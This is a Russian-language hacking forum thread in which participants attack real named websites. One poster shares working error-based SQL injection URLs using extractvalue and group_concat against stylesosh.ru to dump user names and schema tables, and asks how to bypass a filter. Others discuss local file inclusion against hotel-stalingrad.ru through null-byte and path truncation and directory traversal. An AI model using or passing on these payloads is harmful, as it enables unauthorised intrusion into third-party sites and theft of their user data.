Ребята, как листать записи при такой инъекции? Что то совсем не получается

http://stylesosh.ru/Orangevaya-tols...cat(name),1,1024)from(tehnocity_user))))and '/

XPATH syntax error: ':quest,' -

SELECT * FROM `tehnocity_menu` WHERE `sim_link`='Orangevaya-tolstovka'and+extractvalue(2,concat(0x3a,(select+m id(group_concat(name),1,1024)from(tehnocity_user)) ))and'' LIMIT 0, 1

Ясно как листать.. Там всего один юзер в этой таблице((((

/Orangevaya-tolstovka'and+extractvalue(1,concat(0x3a,(select+m id(group_concat

(user_id,0x3a,name,0x3a),1,1024)from(users)where(u ser_id)=(1))))and'/

http://stylesosh.ru/Orangevaya-tolstovka'and+extractvalue(1,concat(0x3a,(select+m id(group_concat(0x3a,table_name,0x3a),1,1024)from( information_schema.tables))))and'/

Не пропускает точку((((((( Как быть????? Хексить пробовала, не выходит. Посоветуйте пожалуйста.

Попробовала сбрутить таблицы по словарю с античата.. Ничего нормального не удалось вытащить((

Что можно сделать с этим сайтом?

http://hotel-stalingrad.ru/index.php?page=cafe

У меня ничего не получается,кто подскажет с чего раскрутить можно?

null-byte там не работает, можно попробовать расширение отбросить через кучу слешей(2048/4096/etc), влом линк искать

работает, там другая проблема

неа, не работает

я проверил подключив admin/index.php%00 - не подключился

admin/index - подключает

---------

в сообщении об ошибке вроде бы видно что да null отработал, но по факту не подключает, хз

в чем там может быть проблема?

Точно .

У меня даже admin/index - не подключает

потому что ../admin/index

php/ лишняя директория